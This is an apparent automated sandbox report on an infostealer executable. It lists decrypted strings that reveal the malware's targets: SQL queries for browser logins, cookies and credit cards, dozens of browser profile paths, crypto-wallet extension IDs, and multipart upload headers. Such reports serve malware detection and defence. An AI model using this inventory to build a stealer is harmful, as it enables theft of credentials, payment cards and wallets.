Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CryptUnprotectData
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SymMatchString
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HEAD
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: file
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Content-Transfer-Encoding: binary
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SOFT:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PROF: ?
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PROF:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: HOST:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: USER:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PASS:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PATH=
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Cookies\%s_%s.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Autofill\%s_%s.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CC\%s_%s.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Card number:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Name on card:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Expiration date:
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: History\%s_%s.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT url FROM urls
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Downloads\%s_%s.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT target_path, tab_url from downloads
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: History
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Local State
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ..\profiles.ini
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Chrome
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Google\Chrome\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ChromeBeta
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Google\Chrome Beta\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ChromeCanary
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Google\Chrome SxS\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Chromium
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Chromium\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Edge_Chromium
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Microsoft\Edge\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Kometa
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Kometa\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Amigo
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Amigo\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Torch
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Torch\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Orbitum
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Orbitum\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Comodo
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Comodo\Dragon\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Nichrome
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Nichrome\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Maxthon5
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Maxthon5\Users
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Sputnik
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Sputnik\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Epic Privacy Browser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Vivaldi
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Vivaldi\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CocCoc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \CocCoc\Browser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Uran
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \uCozMedia\Uran\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \QIP Surf\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Cent
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \CentBrowser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Elements
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Elements Browser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TorBro
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \TorBro\Profile
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: CryptoTab
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \CryptoTab Browser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Brave
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \BraveSoftware\Brave-Browser\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Stable\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Opera Software\Opera GX Stable\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: OperaNeon
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Neon\User Data
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Firefox
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Mozilla\Firefox\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: SlimBrowser
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \FlashPeak\SlimBrowser\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: PaleMoon
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Moonchild Productions\Pale Moon\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Waterfox
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Waterfox\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Cyberfox
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \8pecxstudios\Cyberfox\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BlackHawk
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \NETGATE Technologies\BlackHawk\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: IceCat
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Mozilla\icecat\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: KMeleon
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \K-Meleon\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Thunderbird
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: \Thunderbird\Profiles\
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: passwords.txt
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TronLink
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MetaMask
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Binance Chain Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ffnbelfdoeiohenkjibnmadjiehjhajb
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Yoroi
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Nifty Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Math Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Coinbase Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Guarda
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoapac
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: EQUAL Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cjelfplplebdjjenllpjcblmjkfcffne
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Jaxx Liberty
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BitApp Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: iWallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Wombat
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MEW CX
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nanjmdknhkinifnkgdcggcfnhdaammmj
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: GuildWallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nkddgncdjgjfcddamfgcmfnlhccnimig
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Saturn Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: fnjhmkhhmkbjkkabndcnnogagogbneec
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Ronin Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: NeoLine
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nhnkbkgjikgcigadomkphalanndcapjk
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Clover Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: kpfopkelmapcoipemfendmdcghnegimn
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Liquality Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Terra Station
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Keplr
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Sollet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cnmamaachppnkjgnildpdmkaakejnhae
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Auro Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Polymesh Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ICONex
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nknhiehlklippafakaeklbeglecifhad
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Nabox Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Temple
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TezBox
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: dkdedlpgdmmkkfjabffeganieamfklkm
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Cyano Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Byone
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: OneKey
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cihmoadaighcejopammfbmddcmdekcje
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: LeafWallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lodccjjbdhfakaekdiahmedfbieldgik
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: DAppPlay
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ijmpgkjfkbfhoebgogflfebnmejmfbml
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: BitClip
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Steem Keychain
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: onofpnbbkehpmmoabgpcpmigafmmnjhl
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Nash Extension
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: bcopgchhojmggmffilplmbdicgaihlkp
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Hycon Lite Client
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: klnaejjgbibmhlephnhpmaofohgkpgkd
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ZilPay
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Coin98 Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Phantom
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: hifafgmccdpekplomjjkcfgodnhcellj
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Crypto.com
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: dngmlblcodfobpdpecaadgfbcggfjfnm
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Maiar DeFi Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ppdadbejkmjnefldpcdjhnkpbjkikoip
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Oasis
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: hpbgcgmiemanfelegbndmhieiigkackl
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MonstaWallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: fcckkdbjnoikooededlapcalpionmalo
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: MOBOX
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: jccapkebeeiajkkdemacblkjhhhboiek
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Crust Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: mgffkfbidihjpoaomajlbgchddlicgpn
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Pali Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: nphplpgoakhhjchkkhmiggakijnkhfnd
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: TON Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: ldinpeekobnhjjdofggfgjlcehhmanlj
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Hiro Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: pocmplpaccanhmnllbbkpgfliimjljgo
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Slope Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: bhhhlbepdkbapadjdnnojkbgioiodbic
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Solflare Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: pgiaagfkgcbnmiiolekcfmljdagdhlcm
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Stargazer Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: cgeeodpfagjceefieflmdfphplkenlfk
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: EVER Wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: gjkdbeaiifkpoencioahhcilildpjhgh
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: partisia-wallet
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: bgjogpoidejdemgoochpnkmdjpocgkha
Source: 0.2.DZ1x3hqhbe.exe.400000.0.unpack	String decryptor: Ecto Wallet

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00408E30 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00408E30
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00405450 memset,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00405450
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_004090C0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004090C0
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00408AB0 CryptUnprotectData,	0_2_00408AB0
Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe	Code function: 0_2_00408D90 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00408D90

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\DZ1x3hqhbe.exe

Unpacked PE file: 0.2.DZ1x3hqhbe.exe.60900000.1.unpack

Source: DZ1x3hqhbe.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: DZ1x3hqhbe.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: DZ1x3hqhbe.exe, 00000000.00000002.1670721195.000000000FD37000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: DZ1x3hqhbe.exe, 00000000.00000002.1663570628.000000000076A000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
